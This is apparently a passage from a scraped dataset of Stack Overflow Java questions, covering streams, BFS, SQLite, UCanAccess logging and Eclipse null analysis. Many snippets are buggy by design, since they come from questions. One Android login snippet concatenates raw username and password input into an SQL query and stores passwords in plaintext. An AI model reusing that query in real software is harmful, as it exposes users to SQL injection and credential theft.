) is known by the IDE.However , with JavaScript ( dynamically typed language ) , the object type is not fixed at any point and is often ambiguous to the IDE . Therefore , I can not see how you can realise these benefits on an automation suite built using JavaScript ( e.g . by using Cucumber ) .Can anyone show me how you would use JavaScript with the Page Object Pattern to gain these benefits ?",WelcomePage welcomePage = loginPage.loginWithValidUser ( validUser ) ; PaymentsPage paymentsPage = welcomePage.goToPaymentsPage ( ) ;,Is JavaScript compatible with strict Page Object Pattern ? +Java,"Following code compiles and gives 1 as output , its a bit confusing for me . I tried javap for this but from there also I could n't figure out . I have checked for similar posts but could n't find out similar question here.Take look at the code : here is bytecode for itHow the types are working here ? is it dependent of size of datatype ? How the code is working ?",int i = ( byte ) + ( char ) - ( int ) + ( long ) - 1 ; System.out.println ( i ) ; Compiled from `` Test.java '' public class Test { public Test ( ) ; public static void main ( java.lang.String [ ] ) ; },"confusing code , compiles fine . How this code works ?" +Java,"Possible Duplicate : java - Array brackets after variable name When writing a Java function that accepts an array as a parameter , should the function definition have the brackets ( `` [ ] '' ) on the type or the variable name ? As in : or ... They both `` work '' , but is there a technical difference between the two ?",private int myFunction ( int array [ ] ) { //do stuff here } private int myFunction ( int [ ] array ) { //do stuff here },Passing an array to a Java function +Java,"In Perl you can write something likeand the second statement prints out the iteration the loop is up to using $ _ , the name of the invisible variable Perl uses to iterate through the loop . What is the name of that variable in Java ? I realise that you can accomplish the same thing by declaring a variable outside the loop and incrementing it , but this way is definitely more elegant if anyone knows how to do it .","while ( ! eof ) { doSomething ( x , y ) ; print $ _ ; }",What is the name of the implicit variable in a java while loop ? +Java,"I often find myself in a situation where I need to create a Map of objects from a Set or List.The key is usually some String or Enum or the like , and the value is some new object with data lumped together.The usual way of doing this , for my part , is by first creating the Map < String , SomeKeyValueObject > and then iterating over the Set or List I get in and mutate my newly created map.Like the following example : This feels very unclean . We create a map , and then mutate it over and over.I 've taken a liking to java 8s use of Streams and creating non-mutating data structures ( or rather , you do n't see the mutation ) . So is there a way to turn this grouping of data into something that uses a declarative approach rather than the imperative way ? I tried to implement the suggestion in https : //stackoverflow.com/a/34453814/3478016 but I seem to be stumbling . Using the approach in the answer ( the suggestion of using Collectors.groupingBy and Collectors.mapping ) I 'm able to get the data sorted into a map . But I ca n't group the `` datas '' into one and the same object.Is there some way to do it in a declarative way , or am I stuck with the imperative ?","class Example { Map < String , GroupedDataObject > groupData ( final List < SomeData > list ) { final Map < String , GroupedDataObject > map = new HashMap < > ( ) ; for ( final SomeData data : list ) { final String key = data.valueToGroupBy ( ) ; map.put ( key , GroupedDataObject.of ( map.get ( key ) , data.displayName ( ) , data.data ( ) ) ) ; } return map ; } } class SomeData { private final String valueToGroupBy ; private final Object data ; private final String displayName ; public SomeData ( final String valueToGroupBy , final String displayName , final Object data ) { this.valueToGroupBy = valueToGroupBy ; this.data = data ; this.displayName = displayName ; } public String valueToGroupBy ( ) { return valueToGroupBy ; } public Object data ( ) { return data ; } public String displayName ( ) { return displayName ; } } class GroupedDataObject { private final String key ; private final List < Object > datas ; private GroupedDataObject ( final String key , final List < Object > list ) { this.key = key ; this.datas = list ; } public static GroupedDataObject of ( final GroupedDataObject groupedDataObject , final String key , final Object data ) { final List < Object > list = new ArrayList < > ( ) ; if ( groupedDataObject ! = null ) { list.addAll ( groupedDataObject.datas ( ) ) ; } list.add ( data ) ; return new GroupedDataObject ( key , list ) ; } public String key ( ) { return key ; } public List < Object > datas ( ) { return datas ; } }",Java streams : Add to map but avoid mutation +Java,"Hello ! ! Given a source and a destination , I need to find a path . My BFS algorithm is working fine as far as traversing the graph goes . My problem is getting it to stop when I want it to . I took out where I was incrementing depth so I do n't look like a complete idiot . I hope someone can help . Essentially I want to know how I can keep track of the current depth . Thank you ! Example : Find the # of paths from C to C with a maximum number of 3 stops . The answer is two paths : C - > D - > C ( 2 stops ) C - > E - > B - > C ( 3 stops ) Example 2 : Find the # of paths from A to C with a maximum number of 3 stops . The answer is three paths.A - > B - > C ( 2 stops ) A - > D - > C ( 2 stops ) A - > E - > B - > C - > ( 3 stops )",public int bfs ( int maxDepth ) { int src = 2 ; int dest = 2 ; int i ; int depth = 0 ; int countPaths = 0 ; int element ; queue.add ( src ) ; while ( ! queue.isEmpty ( ) & & depth < = maxDepth ) { element = queue.remove ( ) ; i = 0 ; while ( i < 5 ) { if ( arr [ element ] [ i ] > 0 ) { queue.add ( i ) ; if ( i == dest ) countPaths++ ; } i++ ; } } queue.clear ( ) ; return countPaths ; },Need help getting to nth level of an adjacency matrix ( graph ) using a breadth-first search ( Java ) +Java,"I am working with Canvas.drawArc ( ) in Android Studio and I have found the way to correctly draw the arc that I need , but I would like to know the coordinates of the Point ( ) which actually create the Arc ( not the edges but some of them in the middle ) . The code that I already have is : Drawing the arc ( works ) The problem is that , since Canvas.drawArc ( ) is a void method , I am not sure how could I get these coordinates . Any suggestion ? Indeed , I am not even interested in drawing the Arc . I am just looking for a way to actually get those coordinates.Maybe there is a way to create a curve within 3 points in java where I could get the coordinates . I would not mind using this method.First approachI have already tried to follow this answer but the values that I get are not the correct ones2nd approachI have also checked Path from Android , but I not aware if it is possible to use it . It seems that couple of methods ( arcTo and addArc ) could help , but I do not know how to attach it to the canvas , so I guess it is not possible to combine them.3rd approachAfter finding another previous answer , I have tried to implement it but the coordinates are again , wrong ( not even close to my endPoint ) .","// Set the arc of movement of the encoderpublic void setArc ( Canvas canvas , Point startPoint , Point endPoint ) { Point centerArc = new Point ( ( int ) centerX , ( int ) centerY ) ; Point leftEdge = new Point ( startPoint.x , startPoint.y ) ; Point rightEdge = new Point ( endPoint.x , endPoint.y ) ; int radiusArc = ( int ) Math.sqrt ( ( leftEdge.x - centerArc.x ) * ( leftEdge.x - centerArc.x ) + ( leftEdge.y - centerArc.y ) * ( leftEdge.y - centerArc.y ) ) ; int startAngle = ( int ) ( 190/Math.PI*atan2 ( leftEdge.y-centerArc.y , leftEdge.x-centerArc.x ) ) ; int endAngle = ( int ) ( 210/Math.PI*atan2 ( rightEdge.y-centerArc.y , rightEdge.x-centerArc.y ) ) ; RectF rect = new RectF ( centerX - radiusArc , centerY - radiusArc , centerX + radiusArc , centerY + radiusArc ) ; canvas.drawArc ( rect , startAngle , endAngle , true , mRectPaint ) ; } // Calculate the coordinates of 100 points of the arc Point [ ] coordinatesArc = new Point [ 100 ] ; coordinatesArc [ 0 ] = startPoint ; Point coordinate = new Point ( ) ; int xCoordinate ; int yCoordinate ; for ( int i = 1 ; i < =98 ; i++ ) { xCoordinate = startPoint.x + radiusArc* ( int ) Math.sin ( i ) ; yCoordinate = startPoint.y - radiusArc* ( 1- ( int ) Math.cos ( i ) ) ; coordinate.set ( xCoordinate , yCoordinate ) ; coordinatesArc [ i ] =coordinate ; } coordinatesArc [ 99 ] = endPoint ; Log.d ( TAG , `` Values : x = `` + String.valueOf ( coordinatesArc [ 97 ] .x ) + `` y = `` + String.valueOf ( coordinatesArc [ 97 ] .y ) ) ; Point centerArc = new Point ( ( int ) centerX , ( int ) centerY ) ; Point leftEdge = new Point ( startPoint.x , startPoint.y ) ; int radiusArc = ( int ) Math.sqrt ( ( leftEdge.x - centerArc.x ) * ( leftEdge.x - centerArc.x ) + ( leftEdge.y - centerArc.y ) * ( leftEdge.y - centerArc.y ) ) ; int startAngle = ( int ) ( 190/Math.PI*atan2 ( leftEdge.y-centerArc.y , leftEdge.x-centerArc.x ) ) ; Point [ ] coordinatesArc = new Point [ 100 ] ; Point auxPoint = new Point ( ) ; coordinatesArc [ 0 ] = startPoint ; for ( int i = 1 ; i < =98 ; i++ ) { auxPoint.x = ( int ) ( centerX + radiusArc * Math.cos ( startAngle + i ) ) ; auxPoint.y = ( int ) ( centerY + radiusArc * Math.sin ( startAngle + i ) ) ; coordinatesArc [ i ] = auxPoint ; } coordinatesArc [ 99 ] = endPoint ; Log.d ( TAG , `` COORDINATES ARC : x = `` + coordinatesArc [ 98 ] .x + `` & y = `` + coordinatesArc [ 98 ] .y ) ;",Get coordinates from a drawn arc in a canvas +Java,"Say I have this list of fruits : -I need to prepend a serial number to each fruit and print it . The order of fruit or serial number does not matter . So this is a valid output : -Solution # 1Solution # 2QuestionWhy is solution # 1 a bad practice ? I have seen at a lot of places that AtomicInteger based solutions are bad ( like in this answer ) , specially in parallel stream processing ( that 's the reason I used parallel streams above , to try run into issues ) .I looked at these questions/answers : -In which cases Stream operations should be stateful ? Is use of AtomicInteger for indexing in Stream a legit way ? Java 8 : Preferred way to count iterations of a lambda ? They just mention ( unless I missed something ) `` unexpected results can occur '' . Like what ? Can it happen in this example ? If not , can you provide me an example where it can happen ? As for `` no guarantees are made as to the order in which the mapper function is applied '' , well , that 's the nature of parallel processing , so I accept it , and also , the order does n't matter in this particular example.AtomicInteger is thread safe , so it should n't be a problem in parallel processing.Can someone provide examples in which cases there will be issues while using such a state-based solution ?","List < String > f = Arrays.asList ( `` Banana '' , `` Apple '' , `` Grape '' , `` Orange '' , `` Kiwi '' ) ; 4 . Kiwi3 . Orange1 . Grape2 . Apple5 . Banana AtomicInteger number = new AtomicInteger ( 0 ) ; String result = f.parallelStream ( ) .map ( i - > String.format ( `` % d . % s '' , number.incrementAndGet ( ) , i ) ) .collect ( Collectors.joining ( `` \n '' ) ) ; String result = IntStream.rangeClosed ( 1 , f.size ( ) ) .parallel ( ) .mapToObj ( i - > String.format ( `` % d . % s '' , i , f.get ( i - 1 ) ) ) .collect ( Collectors.joining ( `` \n '' ) ) ;",Why AtomicInteger based Stream solutions are not recommended ? +Java,"Based on the information provided in the link , it says that : It 's important to note that List < Object > and List < ? > are not the same . You can insert an Object , or any subtype of Object , into a List < Object > . But you can only insert null into a List < ? > .What is the use of using List < ? > when only null can be inserted ? For example , methodOne ( ArrayList < ? > l ) : We can use this method for ArrayList of any type but within the method we can ’ t add anything to the List except null .",l.add ( null ) ; // ( valid ) l.add ( `` A '' ) ; // ( invalid ),What is the purpose of List < ? > if one can only insert a null value ? +Java,What 's wrong with my code here ? I 'm trying to insert data from the mysql into the combobox in netbean,private void btnSandoghMousePressed ( java.awt.event.MouseEvent evt ) { try { String query = `` SELECT ` AccountType ` FROM ` account ` `` ; con = Connect.ConnectDB ( ) ; PreparedStatement stm = con.prepareStatement ( query ) ; pst = con.prepareStatement ( query ) ; ResultSet rs = pst.executeQuery ( query ) ; ArrayList < String > groupNames = new ArrayList < String > ( ) ; while ( rs.next ( ) ) { String groupName = rs.getString ( 4 ) ; groupNames.add ( groupName ) ; } DefaultComboBoxModel model = new DefaultComboBoxModel ( groupNames.toArray ( ) ) ; cmbSemetarID.setModel ( model ) ; rs.close ( ) ; } catch ( SQLException e ) { System.err.println ( `` Connection Error ! it 's about date '' ) ; } },How do I insert data from mysql into the combobox ? +Java,"In below jooq snippet that I found from online material , there is a transition from `` jooq ends here '' to `` stream starts '' Does this mean SQL query generation happens till fetch ( ) ? And later on afterwards stream ( ) starts , everything is in memory inside java process Or are java 8 streams like active record DSL and whole snippet is converted into SQL queries including stream ( ) part ? This is because I have seen examples where sortBy / groupingBy are being done inside streams in many online samples when they can be done in SQL as well","DSL.using ( c ) .select ( COLUMNS.TABLE_NAME , COLUMNS.COLUMN_NAME , COLUMNS.TYPE_NAME ) .from ( COLUMNS ) .orderBy ( COLUMNS.TABLE_CATALOG , COLUMNS.TABLE_SCHEMA , COLUMNS.TABLE_NAME , COLUMNS.ORDINAL_POSITION ) .fetch ( ) // jOOQ ends here .stream ( ) // Streams start here .collect ( groupingBy ( r - > r.getValue ( COLUMNS.TABLE_NAME ) , LinkedHashMap : :new , mapping ( r - > new Column ( r.getValue ( COLUMNS.COLUMN_NAME ) , r.getValue ( COLUMNS.TYPE_NAME ) ) , toList ( ) ) ) ) .forEach ( ( table , columns ) - > { // Just emit a CREATE TABLE statement System.out.println ( `` CREATE TABLE `` + table + `` ( `` ) ; // Map each `` Column '' type into a String // containing the column specification , // and join them using comma and // newline . Done ! System.out.println ( columns.stream ( ) .map ( col - > `` `` + col.name + `` `` + col.type ) .collect ( Collectors.joining ( `` , \n '' ) ) ) ; System.out.println ( `` ) ; '' ) ; } ) ;",jooq and java 8 streams SQL generation +Java,"The following code creates 100 new java threads and runs them.When i run the above code and records the system calls executed by this using strace , i can not find any system call ( maybe clone ( ) ) which is creating a new thread . But when i check the threads for the above process using ps -eLf command then it lists ( > 100 ) threads with different thread ids . How does these threads got created without any system call ? And if jvm were creating threads in userspace then these should n't be listed by ps -eLf . The output of strace command I have removed the initial system calls required for launching jvm . The only clone system call being shown is the one for creating the main thread .","class ThreadTest { public static void main ( String [ ] args ) { for ( int i = 0 ; i < 100 ; i++ ) { final int tNo = i ; new Thread ( new Runnable ( ) { @ Override public void run ( ) { System.out.println ( `` thread # '' + tNo ) ; } } ) .start ( ) ; } } } mprotect ( 0xf95000 , 8876032 , PROT_READ|PROT_EXEC ) = 0munmap ( 0xf7762000 , 92395 ) = 0mmap2 ( NULL , 331776 , PROT_READ|PROT_WRITE , MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK , -1 , 0 ) = 0xfffffffff770f000mprotect ( 0xf770f000 , 4096 , PROT_NONE ) = 0clone ( child_stack=0xf775f494 , flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID , parent_tidptr=0xf775fbd8 , tls=0xf775fbd8 , child_tidptr=0xffdb53d0 ) = 31692futex ( 0xf775fbd8 , FUTEX_WAIT , 31692 , NULLthread # 1thread # 5thread # 4thread # 3 ... .. ) = 0exit_group ( 0 ) = ?","Why there is no system call being invoked for thread creation , when i am creating multiple threads in java ?" +Java,"I was just wondering why does Java compiler decide whether you can call a method based on the `` reference '' type and not on actual `` object '' type ? To explain I would like to quote an example : This will produce a Compile Time Error that method methB ( ) not found in class A , although Object Reference `` ob '' contains an object of class B which consists of method methB ( ) . Reason for this is that Java Compiler checks for the method in Class A ( the reference type ) not in Class B ( the actual object type ) . So , I want to know whats the reason behind this . Why does Java Compiler looks for the method in Class A why not in Class B ( the actual object type ) ?",class A { void methA ( ) { System.out.println ( `` Method of Class A . `` ) ; } } class B extends A { void methB ( ) { System.out.println ( `` Method of Class B . `` ) ; } public static void main ( String arg [ ] ) { A ob = new B ( ) ; ob.methB ( ) ; // Compile Time Error } },Why does Java compiler decide whether you can call a method based on the “ reference ” type and not on actual “ object ” type ? +Java,"i have code like the above example which creates a List < String > of album ids.the column is a slice from cassandra database.i record the time taken for the whole list of albums to be created.the same i have done using the enhanced for loop like below.i am noting that no matter how large the number of albums , the for each loop always taking a shorter time to complete . Am i doing it wrong ? or do i need a computer with multiple cores . I am really new to the whole concept of parallel computing please do pardon me if my question is stupid .","// parallel processing int processors = Runtime.getRuntime ( ) .availableProcessors ( ) ; ExecutorService executorService = Executors.newFixedThreadPool ( threads ) ; final List < String > albumIds2 = new ArrayList < String > ( ) ; long start2 = System.nanoTime ( ) ; for ( final HColumn < String , String > column : result.get ( ) .getColumns ( ) ) { Runnable worker = new Runnable ( ) { @ Override public void run ( ) { albumIds2.add ( column.getName ( ) ) ; } } ; executorService.execute ( worker ) ; } long timeTaken2 = System.nanoTime ( ) - start2 ; QueryResult < ColumnSlice < String , String > > result = CassandraDAO.getRowColumns ( AlbumIds_CF , customerId ) ; long start = System.nanoTime ( ) ; for ( HColumn < String , String > column : result.get ( ) .getColumns ( ) ) { albumIds.add ( column.getName ( ) ) ; } long timeTaken = System.nanoTime ( ) - start ;",When does parallel processing overcome sequential processing ? +Java,"I 'm writing code that builds a UserProfile object from a Map of Strings . At the moment I 'm dividing the code into several Builder objects that build parts of the user profile , something like this : It would be nice to be able to have a list of builder objects instead so that I can dynamically add additional builders without touch the class and breaking the OCP.Perhaps something like this , instead : Can you see any problems with this approach ? Is this strictly the Builder design pattern ?","public UserProfile getUserProfile ( int id ) { Map < String , String > data = this.service.getUserProfileData ( int id ) ; UserProfile profile = userProfileBuilder.build ( data ) ; profile.setMarketingPreferences ( marketingPreferencesBuilder.build ( data ) ) ; profile.setAddress ( addressBuilder.build ( data ) ) ; ... return profile ; } private List < ProfileBuilder > builders ; public void buildBuilders ( ) { this.builders = new ArrayList < ProfileBuilder > ( ) ; builders.add ( new BasicDetailsBuilder ( ) ) ; builders.add ( new AddressBuilder ( ) ) ; builders.add ( new MarkettingPreferencesBuilder ( ) ) ; ... } public UserProfile getUserProfile ( int id ) { Map < String , String > data = this.service.getUserProfileData ( int id ) ; UserProfile profile = new UserProfile ( ) ; for ( ProfileBuilder builder : this.builders ) { builder.build ( profile , data ) ; } return profile ; }",How should I implement a dynamic list of builders ? +Java,"I 'm using multiple SQLite databases in my android java project . The first one ( for a login ) works fine , using the following code and I am closing the connection . However , on the following page i 'm calling a function which uses a different database but it seems to still reference the first database and not the new one . I 'm getting this error : Which is right , NextID is n't in Users.Here is the code for the login page which uses the Users table : The next page is using this : And the function is : How do I make sure it uses the second database and not the first ? Tom","09-14 13:18:01.990 : I/SqliteDatabaseCpp ( 10035 ) : sqlite returned : error code = 1 , msg = no such table : NextID , db=/mnt/extSdCard/DirectEnquiries/AuditingData/Static/Users if ( String.valueOf ( loginCount ) .equals ( `` 2 '' ) ) { File dbfile = new File ( Global.StaticDB + `` /Users '' ) ; SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase ( dbfile , null ) ; Cursor c = db.rawQuery ( `` SELECT UserID from Users where UserID like ' '' + txtUsername.getText ( ) .toString ( ) .trim ( ) + `` ' AND Password like ' '' + txtPassword.getText ( ) .toString ( ) .trim ( ) + `` ' '' , null ) ; c.moveToFirst ( ) ; if ( c.getCount ( ) > 0 ) { Global.Username = c.getString ( c.getColumnIndex ( `` UserID '' ) ) ; Global.currentDB = spnLocation.getSelectedItem ( ) .toString ( ) ; Global.currentDBfull = Global.sctArea + Global.currentDB ; db.close ( ) ; Context context = getApplicationContext ( ) ; CharSequence text = `` Logged In '' ; int duration = Toast.LENGTH_SHORT ; Toast toast = Toast.makeText ( context , text , duration ) ; toast.show ( ) ; Intent ShowMainPage = new Intent ( view.getContext ( ) , MainPage.class ) ; startActivityForResult ( ShowMainPage , 0 ) ; } @ Overridepublic void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main_page ) ; TextView txt = ( TextView ) findViewById ( R.id.textView1 ) ; txt.setText ( Global.Username ) ; TextView dbtxt = ( TextView ) findViewById ( R.id.txtDB ) ; dbtxt.setText ( Functions.getNextID ( `` StationObjects '' ) ) ; } public static int getNextID ( String tablename ) { Log.e ( `` Current DB is : `` , Global.currentDBfull ) ; File dbfile = new File ( Global.currentDBfull ) ; SQLiteDatabase dbF = SQLiteDatabase.openOrCreateDatabase ( dbfile , null ) ; int rtnID= ( int ) DatabaseUtils.longForQuery ( dbF , '' Select NxtNumber from NextID where NxtTable like ' '' + tablename + `` ' '' , null ) ; rtnID += 1 ; //db.rawQuery ( `` update NextID set NxtNumber = ' '' + rtnID + `` ' where NxtTable like 'StationObjects ' '' , null ) ; dbF.close ( ) ; return rtnID ; }",Android : SQLite using wrong database +Java,"I am trying to convert the following text input file : into Map < String , List < String > > by splitting each line on `` = '' So far I manged to get this sort of output : using such code : How to tweak the above lambda to get something like this :","A=groupA1A=groupA2A=groupA3B=groupB1B=groupB2 KEY : AVALUE : A=groupA1VALUE : A=groupA2VALUE : A=groupA3KEY : BVALUE : B=groupB1VALUE : B=groupB2 File reqFile = new File ( `` test.config '' ) ; try ( Stream < String > stream = Files.lines ( reqFile.toPath ( ) ) ) { Map < String , List < String > > conf = stream.collect ( Collectors.groupingBy ( s - > s.split ( `` = '' ) [ 0 ] ) ) ; for ( Map.Entry < String , List < String > > entry : conf.entrySet ( ) ) { System.out.println ( `` KEY : `` + entry.getKey ( ) ) ; for ( String value : entry.getValue ( ) ) { System.out.println ( `` VALUE : `` + value ) ; } } } catch ( Exception e ) { e.printStackTrace ( ) ; } KEY : AVALUE : groupA1VALUE : groupA2VALUE : groupA3KEY : BVALUE : groupB1VALUE : groupB2","Converting a text file to Map < String , List < String > > using lambda" +Java,"For the Cube class , i am trying to get rid of the error : I know each face of a Cube is a Rectangle whose length and width need to be the same as the side of a Cube but I am not sure what needs to be passed to the Rectangle constructor to make its length and width be the same as the side of a Cube.also trying to calculate the volume which is the area of the rectangle times the length of the Cubes sidesThis is the Cube classand this is the rectangle class","Cube.java:12 : error : constructor Rectangle in class Rectangle can not be applied to given types ; super ( x , y ) ; ^ required : int , int , double , double found : int , int ... ... . // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -// File Description : // Defines a Cube// -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -public class Cube extends Rectangle { public Cube ( int x , int y , int side ) { super ( x , y ) ; side = super.area ( ) ; // not sure if this is right } public int getSide ( ) { return side ; } public double area ( ) { return 6 * super.area ( ) ; } public double volume ( ) { return super.area ( ) * side ; } public String toString ( ) { return super.toString ( ) ; } } // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -// File Description : // Defines a Rectangle// -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -public class Rectangle extends Point { private int x , y ; // Coordinates of the Point private double length , width ; public Rectangle ( int x , int y , double l , double w ) { super ( x , y ) ; length = l ; width = w ; } public int getX ( ) { return x ; } public int getY ( ) { return y ; } public double getLength ( ) { return length ; } public double getWidth ( ) { return width ; } public double area ( ) { return length * width ; } public String toString ( ) { return `` [ `` + x + `` , `` + y + `` ] '' + `` Length = `` + length + `` Width = `` + width ; } }",Working with super in java +Java,"I have an object which looks similar to what 's shown below : How can I print the list of objId using streams ? EDITObj can contain a list of Obj and it 's children can contain a list of obj objects . If the depth is 5 levels , is it possible to print all the objId values from the top most obj to the values of the child at 5th level . I want to avoid nested for loops .","public class Obj { private List < Obj > objs ; private String objId ; public List < Obj > getObjs ( ) { return objs ; } public String getobjId ( ) { return objId ; } @ Override public String toString ( ) { return `` Obj [ objs= '' + objs + `` , objId= '' + objId + `` ] '' ; } }",How to print a nested list using java stream where the Object holds a list of references to itself +Java,"I need to make a lot of operations using BigDecimal , and I found having to express asis not only ugly , but a source of mistakes and communication problems between me and business analysts . They were perfectly able to read code with Doubles , but now they can't.Of course a perfect solution will be java support for operator overloading , but since this not going to happen , I 'm looking for an eclipse plugin or even an external tool that make an automatic conversion from `` natural way '' to `` bigdecimal way '' .I 'm not trying to preprocess source code or dynamic translation or any complex thing , I just want something I can input text and get text , and keep the `` natural way '' as a comment in source code.P.S . : I 've found this incredible smart hack but I do n't want to start doing bytecode manipulation . Maybe I can use that to create a Natural2BigDecimal translator , but I do n't want to reinvent the wheel if someone has already done such a tool.I do n't want to switch to Scala/Groovy/JavaScript and I also ca n't , company rules forbid anything but java in server side code .",Double a = b - c * d ; //natural way BigDecimal a = b.subtract ( c.multiply ( d ) ) //BigDecimal way,BigDecimal notation eclipse plugin or nice external tool +Java,I have implemented Java methods to resolve IN and OR condition . Below is my code . Output is : But I was expecting the following output : I do n't understand why varargs size in 1 in in method .,"public static < T > boolean in ( T parameter , T ... values ) { if ( null ! = values ) { System.out.println ( `` IN values size.. `` + values.length ) ; return Arrays.asList ( values ) .contains ( parameter ) ; } return false ; } public static boolean or ( boolean ... values ) { System.out.println ( `` OR values size.. `` + values.length ) ; return in ( true , values ) ; } public static void main ( String [ ] args ) { System.out.println ( or ( false , true , false ) ) ; } OR values size.. 3IN values size.. 1false OR values size.. 3IN values size.. 3true",Java varags not detect when call vararg method inside another vararg method +Java,Me and my friend was discussing on Strings and we stuck on this : He says total three Object will be created and I say one object will be created.His logic behind 3 objects is : one for `` ObjectOne '' and one for `` ObjectTwo '' and third one is the concatenated version of two String objects.My logic behind one object is at compile time both the string objects will be concatenated in the byte code as : And at run time only one object will be created in such a way . What is the truth behind this .,String str = `` ObjectOne '' + '' ObjectTwo '' ; String str = `` ObjectOneObjectTwo '' ;,How many String object.. ? +Java,"I am using UCanAccess for manipulating an Access database . When calling executeUpdate I get the exception : net.ucanaccess.jdbc.UcanaccessSQLException : UCAExc : ::3.0.2 Unexpected page type 1 ( Db=db.accdb ; Table=MyTable ; Index=PrimaryKey ) It only occurs when trying to update one specific row - I already know how to fix this in the Access DB . The problem is with the Logger , after this exception is thrown and I catch it , I log an info message and it is not shown , all of the next log messages are not shown either.The reason why I want to fix it without fixing the DB is because when it occurs once , the user should close the application in order to log the next actions , if he does n't then I will not be able to know what he did.This is my code : The console output is : net.ucanaccess.jdbc.UcanaccessSQLException : UCAExc : ::3.0.2 Unexpected page type 1 ( Db=db.accdb ; Table=myTable ; Index=PrimaryKey ) at net.ucanaccess.commands.CompositeCommand.persist ( CompositeCommand.java:95 ) at net.ucanaccess.jdbc.UcanaccessConnection.flushIO ( UcanaccessConnection.java:315 ) at net.ucanaccess.jdbc.UcanaccessConnection.commit ( UcanaccessConnection.java:205 ) at net.ucanaccess.jdbc.AbstractExecute.executeBase ( AbstractExecute.java:161 ) at net.ucanaccess.jdbc.ExecuteUpdate.execute ( ExecuteUpdate.java:50 ) at net.ucanaccess.jdbc.UcanaccessPreparedStatement.executeUpdate ( UcanaccessPreparedStatement.java:253 ) at rashi.NewClass.main ( NewClass.java:61 ) Caused by : java.io.IOException : Unexpected page type 1 ( Db=db.accdb ; Table=myTable ; Index=PrimaryKey ) at com.healthmarketscience.jackcess.impl.IndexData.isLeafPage ( IndexData.java:1185 ) at com.healthmarketscience.jackcess.impl.IndexData.readDataPage ( IndexData.java:1067 ) at com.healthmarketscience.jackcess.impl.IndexPageCache.readDataPage ( IndexPageCache.java:267 ) at com.healthmarketscience.jackcess.impl.IndexPageCache.getDataPage ( IndexPageCache.java:224 ) at com.healthmarketscience.jackcess.impl.IndexPageCache.getCacheDataPage ( IndexPageCache.java:211 ) ... ... ... ... .. INSIDE ExceptionAnd my log file contains only this row : which means my logger is no longer active . I guess there are some logger changes before the exception in UCanAccess .","public static void main ( String args [ ] ) { Logger logger = Logger.getLogger ( `` myLogger '' ) ; PreparedStatement pst = null ; try { FileHandler fileHandler = new FileHandler ( `` myLog.log '' , 0 , 1 , true ) ; // Set formatter to put the time , the message , and the exception if exists fileHandler.setFormatter ( new Formatter ( ) { @ Override public String format ( LogRecord record ) { Throwable t = record.getThrown ( ) ; String stackTrace = `` '' ; if ( t ! = null ) { StringWriter sw = new StringWriter ( ) ; t.printStackTrace ( new PrintWriter ( sw ) ) ; stackTrace = sw.toString ( ) ; } return Calendar.getInstance ( ) .getTime ( ) + `` -- '' + formatMessage ( record ) + stackTrace + `` \n '' ; } } ) ; // Set the logger handler logger.addHandler ( fileHandler ) ; logger.log ( Level.INFO , `` 1 '' ) ; // Throw on purpose String query = `` UPDATE myTable SET name = ' a ' WHERE id = 289 '' ; conn = DriverManager.getConnection ( DB_URL ) ; pst = conn.prepareStatement ( query ) ; pst.executeUpdate ( ) ; logger.log ( Level.INFO , `` 2 '' ) ; } catch ( UcanaccessSQLException e ) { logger.log ( Level.INFO , `` 3 '' ) ; System.out.println ( `` INSIDE Exception '' ) ; } catch ( SQLException e ) { logger.log ( Level.INFO , `` 4 '' ) ; } catch ( Exception e ) { logger.log ( Level.INFO , `` 5 '' ) ; } } Sun Dec 20 15:35:40 IST 2015 -- 1",UCanAccess/Jackcess exception when calling executeUpdate disables my Logger output +Java,"I have a web URL which returns a JSON formatted string on requestI 'm streaming this using JavaBut reader.readLine ( ) is always returning nullAny idea what I 'm doing wrong here ? Here is the actual JSON address http : //app.myallies.com/api/quote/goog UPDATESame code works OK on http : //app.myallies.com/api/news , although both links have the same server implementation to generate the JSON response .","{ `` StockID '' :0 , '' LastTradePriceOnly '' : '' 494.92 '' , '' ChangePercent '' : '' 0.48 '' } InputStream in = null ; in = url.openStream ( ) ; BufferedReader reader = new BufferedReader ( new InputStreamReader ( in ) ) ; StringBuilder sb = new StringBuilder ( ) ; String line = null ; try { while ( ( line = reader.readLine ( ) ) ! = null ) { sb.append ( line + `` \n '' ) ; } } catch ( IOException e ) { e.printStackTrace ( ) ; } finally { try { in.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } } String result = sb.toString ( ) ;",JSON Serialisation from URL always returning NULL +Java,"I have encountered strange behaviour of nullcheck analysis under Spring tool suite 3.6.2 ( Eclipse clon ) on windows 7 64bit with Oracle java 8u25 . The same maven project with java 7 source compatibility successfully finds NPE error in eclipse , but when I change compilation version in maven to java 1.8 , the eclipse is unable to find this error.My nullcheck analysis configuration in Eclipse ( Java- > Compiler- > Errors/Warnings- > Null analysis ) is : Include asserts in null analysis trueEnable annotation based analysis trueNotNull custom annotation is properly set to javax.validation.constraints.NotNulletc . ( everything seems to be OK , as it works under java 7 ) My maven pom is here http : //pastebin.com/pF1yJSG2 , as mentioned above when java.version in pom is 1.7 null check works , when is 1.8 null check does not work.Sample source code is : Does anybody know where is problem and how to enable nullcheck to work under jdk 1.8 compatibility ? EDITED : Maven seems to be not involved . The same problem simulated on non maven project with the same source code and compatibility level of compiler set to 1.7 . Is it a bug ? EDITED-2 : After more examination I have found that the following difference in annotation makes difference : java.lang.annotation.ElementType.TYPE_USE , when annotation does not have this , the nullcheck is not detected under Java 8 , but is detected under Java 7.But why ? ! Why there is so different behaviour ? ! EDITED-3 : After research from MartinLippert and tested by me it seems that nullcheck API has drastically changed between java 7 and java 8 . Null detection requires ( as seen from version 2.0 of eclipse libraries ) java.lang.annotation.ElementType.TYPE_USE , the types @ Target ( value= { METHOD , FIELD , ANNOTATION_TYPE , CONSTRUCTOR , PARAMETER } ) are ignored in analysis . SO THE QUESTION IS NOW AS FOLLOWS : WHY NULL ANALYSIS UNDER JAVA 8 REQUIRES AND WORKS ONLY UNDER 